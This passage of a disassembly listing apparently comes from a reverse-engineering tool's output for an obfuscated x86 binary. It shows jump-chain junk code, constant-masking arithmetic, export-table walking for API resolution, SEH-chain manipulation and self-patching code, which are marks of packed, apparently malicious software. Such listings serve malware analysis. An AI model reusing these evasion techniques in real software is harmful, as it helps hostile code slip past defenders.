0B3h, 96h dword_42D220 dd 8576C82Ch, 196669E0h, 8D364617h, 5015E800h ; DATA XREF: sub_42AAF8-65ACo dword_42D230 dd 0 ; DATA XREF: sub_427D17+3w sub_428D2Dr ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42C379 loc_42D234: ; CODE XREF: sub_42C379+106Fj jmp loc_429DE3 ; END OF FUNCTION CHUNK FOR sub_42C379 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423395 loc_42D239: ; CODE XREF: sub_423395+767Dj jmp nullsub_135 ; END OF FUNCTION CHUNK FOR sub_423395 ; --------------------------------------------------------------------------- dw 9919h dword_42D240 dd 0 ; DATA XREF: sub_42A00A+7r ; sub_42AB3E+172Fw ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42A4C6 loc_42D244: ; CODE XREF: sub_42A4C6+1Bj jmp loc_4252DE ; END OF FUNCTION CHUNK FOR sub_42A4C6 ; --------------------------------------------------------------------------- db 41h, 0FBh, 39h dword_42D24C dd 0 ; DATA XREF: _0182ofla:0042DC4Ew ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42768C loc_42D250: ; CODE XREF: sub_42768C:loc_429348j add edx, ecx pop eax sbb ebx, 3AB2673Eh jmp loc_42C2D9 ; END OF FUNCTION CHUNK FOR sub_42768C ; --------------------------------------------------------------------------- loc_42D25E: ; CODE XREF: _0182ofla:loc_428171j jnz loc_423D59 mov eax, [ebp-14h] mov eax, [eax+24h] add eax, [ebp-4] xor edx, edx jmp loc_42A4AB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42C1B2 loc_42D274: ; CODE XREF: sub_42C1B2-7D70j jnp loc_429376 xor eax, ebp loc_42D27C: ; CODE XREF: sub_42C1B2:loc_423748j mov eax, [ebp-4] call nullsub_10 jmp loc_4239DD ; END OF FUNCTION CHUNK FOR sub_42C1B2 ; --------------------------------------------------------------------------- locret_42D289: ; CODE XREF: _0182ofla:loc_42DC5Aj retn ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_52. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42326C loc_42D28B: ; CODE XREF: sub_42326C+B1CBj jmp loc_42ADB5 ; END OF FUNCTION CHUNK FOR sub_42326C ; --------------------------------------------------------------------------- loc_42D290: ; CODE XREF: _0182ofla:00424A1Ej jmp loc_42C8FE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42C8C0 loc_42D295: ; CODE XREF: _0182ofla:00425993j ; sub_42C8C0+12j ... call sub_42EB4E loc_42D29A: ; CODE XREF: sub_42A092-219j jmp loc_425D4B ; END OF FUNCTION CHUNK FOR sub_42C8C0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42CC59 loc_42D29F: ; CODE XREF: sub_42CC59-3485j jmp loc_4268E2 ; END OF FUNCTION CHUNK FOR sub_42CC59 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424184 loc_42D2A4: ; CODE XREF: sub_424184:loc_42328Dj ; sub_4289E4-4F4Fj ... jmp loc_42CF3A ; END OF FUNCTION CHUNK FOR sub_424184 ; =============== S U B R O U T I N E ======================================= sub_42D2A9 proc near ; DATA XREF: sub_425B00:loc_428DDFo mov [ebp-20h], eax jmp loc_42AFA1 sub_42D2A9 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_425B00 loc_42D2B1: ; CODE XREF: sub_425B00:loc_425B13j test byte ptr [ebp-7], 8 jz loc_42C8E0 push ebp mov eax, [ebp-20h] call sub_42A51F jmp loc_42AF9D ; END OF FUNCTION CHUNK FOR sub_425B00 ; --------------------------------------------------------------------------- mov edi, 84788216h jmp loc_42D54D ; --------------------------------------------------------------------------- loc_42D2D3: ; CODE XREF: _0182ofla:00426C7Dj xchg eax, [esp] mov ebp, eax pop eax retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4253DC loc_42D2DA: ; CODE XREF: sub_4253DC-1735j rol eax, 6 push eax call sub_424CD8 jmp nullsub_212 ; END OF FUNCTION CHUNK FOR sub_4253DC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42E6BF loc_42D2E8: ; CODE XREF: sub_42E6BF:loc_42D374j ror edi, 0Ch sbb edx, ebx sbb ecx, 8021CABAh jnz loc_4273DC jmp loc_42DA8C ; END OF FUNCTION CHUNK FOR sub_42E6BF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423B43 loc_42D2FE: ; CODE XREF: sub_423B43+Bj jnz loc_42E005 jmp loc_429DC4 ; END OF FUNCTION CHUNK FOR sub_423B43 ; --------------------------------------------------------------------------- loc_42D309: ; CODE XREF: _0182ofla:00427BF6j add eax, 4BA97FA6h mov eax, [eax] mov ecx, 3FBh xor edx, edx div ecx ; START OF FUNCTION CHUNK FOR sub_428D63 loc_42D31A: ; CODE XREF: sub_428D63:loc_42D447j mov [ebp-1Ch], edx push 0C6767D22h pop eax jmp loc_4281C8 ; END OF FUNCTION CHUNK FOR sub_428D63 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42D9A4 loc_42D328: ; CODE XREF: sub_42D9A4:loc_42B4F9j jz loc_42B53E jmp loc_4238C7 ; END OF FUNCTION CHUNK FOR sub_42D9A4 ; =============== S U B R O U T I N E ======================================= sub_42D333 proc near ; CODE XREF: _0182ofla:00426CB8p ; _0182ofla:0042A6BDj xchg edi, [esp+0] pop edi call sub_42D71D retn sub_42D333 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_42D33D proc near ; CODE XREF: _0182ofla:004244B2j ; sub_42E43C+Ap ; FUNCTION CHUNK AT 00426A43 SIZE 00000002 BYTES ; FUNCTION CHUNK AT 0042B0C9 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042D945 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0042DC64 SIZE 0000000D BYTES xchg eax, [esp+0] pop eax push 3E24A583h pop eax add eax, 0C21E2CC9h mov eax, [eax] or eax, eax jnz loc_42DC64 jmp loc_42D945 sub_42D33D endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42798F loc_42D35C: ; CODE XREF: sub_42798F+6B60j call sub_42D36D mov eax, [ebp-4] mov esp, ebp pop ebp retn ; END OF FUNCTION CHUNK FOR sub_42798F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4291F5 loc_42D368: ; CODE XREF: sub_4291F5+9j jmp sub_428D17 ; END OF FUNCTION CHUNK FOR sub_4291F5 ; =============== S U B R O U T I N E ======================================= sub_42D36D proc near ; CODE XREF: sub_42798F:loc_42D35Cp mov dword ptr [eax], 0 retn sub_42D36D endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42E6BF loc_42D374: ; CODE XREF: sub_42E6BF-6AAj jmp loc_42D2E8 ; END OF FUNCTION CHUNK FOR sub_42E6BF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42DBF0 loc_42D379: ; CODE XREF: sub_42DBF0-118Fj jmp loc_426F91 ; END OF FUNCTION CHUNK FOR sub_42DBF0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_425B00 loc_42D37E: ; CODE XREF: sub_425B00+12BEj pop ecx mov [ebp-20h], eax jmp loc_42AFA1 ; END OF FUNCTION CHUNK FOR sub_425B00 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42D387 proc near ; CODE XREF: sub_425B00+12B9p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 ; FUNCTION CHUNK AT 0042AAAE SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042E946 SIZE 00000013 BYTES push ebp mov ebp, esp add esp, 0FFFFFFF8h mov [ebp+var_4], eax jmp loc_42AAAE sub_42D387 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426020 loc_42D395: ; CODE XREF: sub_426020+6j pop ebp mov eax, ds:dword_42E8D4 or eax, eax jnz loc_4232EC jmp loc_42CEFD ; END OF FUNCTION CHUNK FOR sub_426020 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42B15E loc_42D3A9: ; CODE XREF: sub_42B15E:loc_429777j mov [ecx], eax add ecx, 4 mov [ecx], eax add ecx, 4 jmp loc_42DEF5 ; END OF FUNCTION CHUNK FOR sub_42B15E ; --------------------------------------------------------------------------- locret_42D3BE: ; CODE XREF: _0182ofla:00427474j retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42CB00 loc_42D3BF: ; CODE XREF: sub_42CB00+20A6j jmp nullsub_190 ; END OF FUNCTION CHUNK FOR sub_42CB00 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_429B69 loc_42D3C4: ; CODE XREF: sub_429B69+Ej jmp loc_423B8E ; END OF FUNCTION CHUNK FOR sub_429B69 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4298DD loc_42D3C9: ; CODE XREF: sub_4298DD-4367j jmp loc_425DED ; END OF FUNCTION CHUNK FOR sub_4298DD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42C379 loc_42D3CE: ; CODE XREF: sub_42C379:loc_42AC7Aj jnz loc_427CA3 call sub_428D17 mov edx, 0F2B89A19h call sub_42D71D xchg eax, edi push edi xchg eax, edi jmp loc_42D234 ; END OF FUNCTION CHUNK FOR sub_42C379 ; --------------------------------------------------------------------------- loc_42D3ED: ; CODE XREF: _0182ofla:loc_425E70j add edx, 0BEB5D68Bh sub edx, 0FA607A9h add edx, 74690DADh push offset loc_429331 jmp loc_42A52D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423395 loc_42D409: ; CODE XREF: sub_423395:loc_42D46Cj jnz loc_427D6B jmp loc_427AF9 ; END OF FUNCTION CHUNK FOR sub_423395 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42D056 loc_42D414: ; CODE XREF: sub_42D056-6C6j not ebx pop ebp sub esi, edi loc_42D419: ; CODE XREF: sub_42D056:loc_424DCDj call sub_42EA15 xchg ecx, edx call sub_42719D loc_42D425: ; CODE XREF: sub_42E218+Cj jmp loc_429C49 ; END OF FUNCTION CHUNK FOR sub_42D056 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423FCD loc_42D42A: ; CODE XREF: sub_423FCD+86j js loc_42763A ; END OF FUNCTION CHUNK FOR sub_423FCD ; =============== S U B R O U T I N E ======================================= sub_42D430 proc near ; CODE XREF: sub_423FCD:loc_42E61Aj ; FUNCTION CHUNK AT 00426985 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0042A2CF SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042B2EF SIZE 00000005 BYTES push ebx push 39907DCEh pop ebx jmp loc_42B2EF sub_42D430 endp ; --------------------------------------------------------------------------- xor edi, 129665C6h jmp sub_42AD20 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428D63 loc_42D447: ; CODE XREF: sub_428D63:loc_42E184j jg loc_42D31A xchg ebp, esi jmp loc_42B115 ; END OF FUNCTION CHUNK FOR sub_428D63 ; --------------------------------------------------------------------------- locret_42D454: ; CODE XREF: _0182ofla:loc_4246B9j retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_425EA5 loc_42D455: ; CODE XREF: sub_425EA5+4C28j jmp loc_4252C9 ; END OF FUNCTION CHUNK FOR sub_425EA5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42DF41 loc_42D45A: ; CODE XREF: sub_42DF41:loc_425B61j jmp loc_4254E7 ; END OF FUNCTION CHUNK FOR sub_42DF41 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42D056 loc_42D45F: ; CODE XREF: sub_42D056-27EAj call sub_42A915 loc_42D464: ; DATA XREF: _0182ofla:loc_42EC6Co mov eax, [ebp+8] call sub_42C8C0 ; END OF FUNCTION CHUNK FOR sub_42D056 ; START OF FUNCTION CHUNK FOR sub_423395 loc_42D46C: ; CODE XREF: sub_423395+16j jmp loc_42D409 ; END OF FUNCTION CHUNK FOR sub_423395 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426B01 loc_42D471: ; CODE XREF: sub_426B01:loc_42A4C1j jl loc_425B4D ; END OF FUNCTION CHUNK FOR sub_426B01 ; START OF FUNCTION CHUNK FOR sub_42E5F8 loc_42D477: ; CODE XREF: sub_42E5F8-3EC2j jmp loc_429EDD ; END OF FUNCTION CHUNK FOR sub_42E5F8 ; --------------------------------------------------------------------------- pop edi add edx, ebx popf jmp loc_425B4C ; --------------------------------------------------------------------------- loc_42D485: ; DATA XREF: _0182ofla:004274B6o add eax, 0C183C01Dh and ecx, eax pop eax mov al, 1 shl al, cl mov edx, [ebp-20h] jmp loc_4285E4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42ADE3 loc_42D49A: ; CODE XREF: sub_42ADE3:loc_42ADEEj push edx push eax call sub_428FD6 call sub_4271D2 add esp, 10h pop ebp xor eax, eax jmp loc_425F90 ; END OF FUNCTION CHUNK FOR sub_42ADE3 ; --------------------------------------------------------------------------- loc_42D4B1: ; DATA XREF: sub_42E6FD+7o jz loc_42D4BE mov eax, [eax] jmp loc_425710 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_425BF8 loc_42D4BE: ; CODE XREF: sub_425BF8+5241j ; sub_425BF8+524Aj ... xor ebx, ebx loc_42D4C0: ; CODE XREF: _0182ofla:loc_42AE2Bj mov eax, ebx push offset sub_42C33B jmp loc_425D41 ; END OF FUNCTION CHUNK FOR sub_425BF8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427942 loc_42D4CC: ; CODE XREF: sub_427942:loc_42ABE4j mov [ebx], eax pop ebx call sub_42CE86 loc_42D4D4: ; CODE XREF: sub_42E574+Cj jmp loc_42D4E1 ; END OF FUNCTION CHUNK FOR sub_427942 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_429203 loc_42D4D9: ; CODE XREF: sub_429203:loc_42D99Fj adc ebx, eax jmp loc_42557B ; END OF FUNCTION CHUNK FOR sub_429203 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_175. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427942 loc_42D4E1: ; CODE XREF: sub_427942:loc_42D4D4j add edx, 0FC77658Fh mov [edx], eax pop edx push 400h jmp loc_423372 ; END OF FUNCTION CHUNK FOR sub_427942 ; --------------------------------------------------------------------------- loc_42D4F4: ; CODE XREF: _0182ofla:00423623j add esp, 0FFFFFFCCh lea eax, nullsub_2 mov byte ptr [eax], 0C3h jmp loc_42906C ; --------------------------------------------------------------------------- cdq jmp loc_42494A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4268FC loc_42D50B: ; CODE XREF: sub_4268FC+1Ej call sub_424072 ; END OF FUNCTION CHUNK FOR sub_4268FC ; START OF FUNCTION CHUNK FOR sub_4231F3 loc_42D510: ; CODE XREF: sub_4231F3+1872j ; sub_4268FC:loc_426911j ... jnz loc_423AC5 mov ecx, [ebx+3Ch] mov ecx, [ebx+ecx+78h] or ecx, ecx jz loc_428E98 mov ecx, [ebx+ecx+0Ch] jmp loc_428985 ; END OF FUNCTION CHUNK FOR sub_4231F3 ; =============== S U B R O U T I N E ======================================= sub_42D52E proc near ; DATA XREF: sub_429EA9+6o ; FUNCTION CHUNK AT 004259F9 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 004266DD SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0042B12C SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0042DC28 SIZE 00000005 BYTES push 6A390E87h pop eax xor eax, 38F2FD22h rol eax, 8 add eax, 344F2CAEh call sub_429AA3 jmp loc_4266DD sub_42D52E endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_42D54D: ; CODE XREF: _0182ofla:0042D2CEj add esi, 75390C46h ; =============== S U B R O U T I N E ======================================= sub_42D553 proc near ; CODE XREF: sub_428EB9-1288p ; sub_4282B8:loc_42D7C5j var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00423506 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 004246E8 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 00425059 SIZE 00000005 BYTES xchg edx, [esp+0] pop edx mov eax, [ebp-4] movzx eax, byte ptr [eax] jmp loc_423506 sub_42D553 endp ; sp-analysis failed ; --------------------------------------------------------------------------- sbb ebp, 32D16ECFh sub edi, edx jmp sub_42EAB7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42C2CC loc_42D56F: ; CODE XREF: sub_42C2CC+8j mov ebp, esp jb sub_427750 push offset sub_42662C jmp loc_42B8F0 ; END OF FUNCTION CHUNK FOR sub_42C2CC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423F50 loc_42D581: ; CODE XREF: sub_423F50-204j ; sub_4284E7:loc_42B587j jnb loc_42DD64 push offset loc_423DFF jmp loc_426EBD ; END OF FUNCTION CHUNK FOR sub_423F50 ; =============== S U B R O U T I N E ======================================= sub_42D591 proc near ; DATA XREF: sub_428899+6o mov [ebp-1Ch], eax push offset sub_42AFBA jmp nullsub_236 sub_42D591 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42883C loc_42D59E: ; CODE XREF: sub_42883C:loc_42A6C7j add edi, ebp add edi, 8C9DF017h mov [edi], eax pop edi loc_42D5A9: ; CODE XREF: sub_42798F+3ADCj call sub_42E5F8 loc_42D5AE: ; CODE XREF: _0182ofla:0042DFDBj jmp nullsub_143 ; END OF FUNCTION CHUNK FOR sub_42883C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4253F4 loc_42D5B3: ; CODE XREF: sub_4253F4:loc_425E97j push ecx jmp loc_423D7D ; END OF FUNCTION CHUNK FOR sub_4253F4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42445E loc_42D5B9: ; CODE XREF: sub_42445E+Ej mov [ebp-4], eax push 0B99FC7E7h pop eax sub eax, 22EEB219h rol eax, 13h xor eax, 7E64B768h jmp loc_426ABE ; END OF FUNCTION CHUNK FOR sub_42445E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4255E9 loc_42D5D6: ; CODE XREF: sub_4255E9:loc_424C75j jz loc_427E1A jmp loc_425F4B ; END OF FUNCTION CHUNK FOR sub_4255E9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427ED1 loc_42D5E1: ; CODE XREF: sub_427ED1-1BFj shl ebx, 1Bh loc_42D5E4: ; CODE XREF: sub_427ED1:loc_428707j add eax, edx xor eax, ebx add eax, ecx jmp loc_4262F7 ; END OF FUNCTION CHUNK FOR sub_427ED1 ; =============== S U B R O U T I N E ======================================= sub_42D5EF proc near ; CODE XREF: _0182ofla:0042439Cj ; sub_4278DBp ; FUNCTION CHUNK AT 004266F7 SIZE 00000016 BYTES ; FUNCTION CHUNK AT 00428799 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042B238 SIZE 0000001B BYTES xchg esi, [esp+0] pop esi js loc_4266F7 push ebp mov ebp, esp push esi push 0B12D818Dh jmp loc_42B238 sub_42D5EF endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42EAB7 loc_42D607: ; CODE XREF: _0182ofla:0042576Aj ; sub_42EAB7:loc_42A9ACj ... js loc_426B77 push offset loc_42B7A3 jmp nullsub_186 ; END OF FUNCTION CHUNK FOR sub_42EAB7 ; --------------------------------------------------------------------------- or eax, 0F34E25E2h push ebp jmp sub_42E77D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4253F4 loc_42D623: ; CODE XREF: sub_4253F4:loc_427814j ; sub_4253F4+47DAj add dword ptr [esi], 0F80486h loc_42D629: ; CODE XREF: sub_428F20-5B96j ; sub_4253F4-1D4Aj ... mov edi, offset sub_428747 loc_42D62E: ; CODE XREF: sub_42E43C:loc_42773Bj xchg edi, [esp+0] retn ; END OF FUNCTION CHUNK FOR sub_4253F4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428205 loc_42D632: ; CODE XREF: sub_428205+12j jmp loc_425AC8 ; END OF FUNCTION CHUNK FOR sub_428205 ; --------------------------------------------------------------------------- loc_42D637: ; CODE XREF: _0182ofla:004287C7j jle loc_4268BE mov [esp], edi pop edi mov eax, 131h call sub_4265C0 jmp loc_4283CC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42D833 loc_42D650: ; CODE XREF: sub_42D833j push ecx mov ecx, ebp xchg ecx, [esp+4+var_4] mov ebp, esp call sub_42DD86 loc_42D65D: ; CODE XREF: sub_42A01E+6j jmp nullsub_147 ; END OF FUNCTION CHUNK FOR sub_42D833 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4294AA loc_42D662: ; CODE XREF: sub_4294AA+Dj jmp loc_425B13 ; END OF FUNCTION CHUNK FOR sub_4294AA ; --------------------------------------------------------------------------- sub esi, 8B219E9Dh jmp sub_42C415 ; --------------------------------------------------------------------------- loc_42D672: ; CODE XREF: _0182ofla:0042C617j push ebx push ecx push 4D5EDD79h mov [esp], eax not ebx jmp loc_42A31C ; --------------------------------------------------------------------------- xchg ebx, [ecx] jmp sub_429E52 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42B15E loc_42D68A: ; CODE XREF: sub_42B15E:loc_42DEF5j mov [ecx], eax add ecx, 4 mov [ecx], eax add ecx, 4 mov [ecx], eax add ecx, 4 mov [ecx], eax add ecx, 0A0h jmp loc_429F99 ; END OF FUNCTION CHUNK FOR sub_42B15E ; --------------------------------------------------------------------------- or ecx, edx push 6778750Ah jmp sub_423B53 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_114. PRESS KEYPAD "+" TO EXPAND] ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_209. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4256AD loc_42D6BD: ; CODE XREF: sub_4256AD:loc_429896j call nullsub_9 jmp loc_426ADD ; END OF FUNCTION CHUNK FOR sub_4256AD ; =============== S U B R O U T I N E ======================================= sub_42D6C7 proc near ; CODE XREF: sub_42D71D+3j ; FUNCTION CHUNK AT 00426ACE SIZE 0000000F BYTES add esp, 0FFFFFED8h mov [ebp-8], edx mov [ebp-4], eax xor eax, eax mov [ebp-0Ch], eax jmp loc_426ACE sub_42D6C7 endp ; =============== S U B R O U T I N E ======================================= sub_42D6DD proc near ; CODE XREF: sub_426571-1F69p ; sub_426993-CDBj ... ; FUNCTION CHUNK AT 00423F9B SIZE 0000000A BYTES ; FUNCTION CHUNK AT 00425798 SIZE 00000005 BYTES xchg ecx, [esp+0] pop ecx push edx push eax mov eax, [ebp-8] cdq jmp loc_425798 sub_42D6DD endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42798F loc_42D6EC: ; CODE XREF: sub_42798F-2331j jz loc_42EBD0 jmp loc_42E592 ; END OF FUNCTION CHUNK FOR sub_42798F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42537E loc_42D6F7: ; CODE XREF: sub_42537E:loc_42E8E8j jz loc_42EC4E jmp loc_42E853 ; END OF FUNCTION CHUNK FOR sub_42537E ; --------------------------------------------------------------------------- locret_42D702: ; CODE XREF: _0182ofla:00423FA5j ; _0182ofla:loc_42579Dj retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426020 loc_42D703: ; CODE XREF: sub_426020:loc_4278D6j call sub_424CD8 retn ; END OF FUNCTION CHUNK FOR sub_426020 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_429AA3 loc_42D709: ; CODE XREF: sub_429AA3+3j jmp loc_4248AE ; END OF FUNCTION CHUNK FOR sub_429AA3 ; =============== S U B R O U T I N E ======================================= sub_42D70E proc near ; CODE XREF: sub_424184-EECp ; sub_428729+11p ... var_8 = dword ptr -8 ; FUNCTION CHUNK AT 00426403 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 0042DD48 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042E4A8 SIZE 00000014 BYTES push eax push 0 call sub_424DE2 push eax jmp loc_42DD48 sub_42D70E endp ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_122. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42D71D proc near ; CODE XREF: _0182ofla:004230F7p ; sub_423A2A-602p ... ; FUNCTION CHUNK AT 004285F4 SIZE 00000005 BYTES push ebp mov ebp, esp jnb sub_42D6C7 jmp loc_4285F4 sub_42D71D endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42CCE0 loc_42D72B: ; CODE XREF: sub_42CCE0-3A3Fj pushf mov [esp+4+var_4], eax retn ; END OF FUNCTION CHUNK FOR sub_42CCE0 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42D730 proc near ; CODE XREF: _0182ofla:00424110p ; sub_42CA29:loc_42A1BAj var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0042316C SIZE 00000019 BYTES ; FUNCTION CHUNK AT 004247F9 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00426347 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00428F38 SIZE 00000004 BYTES ; FUNCTION CHUNK AT 0042EA28 SIZE 00000012 BYTES push edx mov [esp+0], ebp mov ebp, esp push ecx mov esp, ebp jmp loc_4247F9 sub_42D730 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42662C loc_42D73E: ; CODE XREF: sub_42CCE0:loc_4261E7j ; sub_42662C+6C8j call sub_429BB9 mov edx, 8CB242DAh push edi push 5E46F3C0h pop edi or edi, 0AFFEDB9h cmp edi, 57C1EB01h jmp loc_4285EE ; END OF FUNCTION CHUNK FOR sub_42662C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427445 loc_42D760: ; CODE XREF: sub_427445:loc_429FC3j or al, al jz loc_42B470 jmp loc_426BA4 ; END OF FUNCTION CHUNK FOR sub_427445 ; =============== S U B R O U T I N E ======================================= sub_42D76D proc near ; CODE XREF: sub_42306F+3j add esp, 0FFFFFFECh mov eax, offset dword_42A3A8 call sub_42966F cmp ds:dword_42A3B4, 0 jnz loc_42E4E2 lea edx, [ebp-14h] jmp loc_42CB37 sub_42D76D endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42DD2A loc_42D78F: ; CODE XREF: sub_42DD2A-8016j shr eax, 17h mov ebx, [esi] jmp loc_4286BA ; END OF FUNCTION CHUNK FOR sub_42DD2A ; --------------------------------------------------------------------------- loc_42D799: ; CODE XREF: _0182ofla:loc_428AF9j cdq jmp loc_4279E8 ; --------------------------------------------------------------------------- loc_42D79F: ; CODE XREF: _0182ofla:loc_426B90j ; _0182ofla:00426D68j pop large dword ptr fs:0 add esp, 4 push 0DE52A433h pop eax add eax, 2DDC8B2Bh xor eax, 0C2F2F0Ch call sub_4265C0 jmp loc_42CECA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4282B8 loc_42D7C5: ; CODE XREF: sub_4282B8+4EDEj jns sub_42D553 pushf loc_42D7CC: ; CODE XREF: sub_4282B8:loc_42C13Aj add edx, 6035FF96h add eax, edx jmp loc_42C78F ; END OF FUNCTION CHUNK FOR sub_4282B8 ; --------------------------------------------------------------------------- loc_42D7D9: ; CODE XREF: _0182ofla:0042CA07j or ecx, 0DDCF70C8h push ecx not ecx ; START OF FUNCTION CHUNK FOR sub_42C9E6 loc_42D7E2: ; CODE XREF: sub_42C9E6+Cj add esi, 906C6151h xchg esi, [esp+0] jmp loc_425831 ; END OF FUNCTION CHUNK FOR sub_42C9E6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427802 loc_42D7F0: ; CODE XREF: sub_427802+Dj pop eax or eax, 0A66C6E65h add eax, 955DA44h popf jmp loc_42DD7C ; END OF FUNCTION CHUNK FOR sub_427802 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_205. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_42D804: ; DATA XREF: sub_426993:loc_42459Eo push edi push 48ED20C6h pop edi and edi, 0CEC32D87h jmp loc_426301 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423861 loc_42D816: ; CODE XREF: sub_423861+C18j ; sub_423861+5723j inc [ebp+var_4] jmp loc_42386A ; END OF FUNCTION CHUNK FOR sub_423861 ; =============== S U B R O U T I N E ======================================= sub_42D81E proc near ; CODE XREF: sub_42448C:loc_4262C5p arg_8 = dword ptr 0Ch ; FUNCTION CHUNK AT 00426364 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 0042CBD6 SIZE 00000005 BYTES call sub_42DEBF push ecx mov ecx, [esp+4+arg_8] mov dword ptr [ecx], 10001h jmp loc_42CBD6 sub_42D81E endp ; =============== S U B R O U T I N E ======================================= sub_42D833 proc 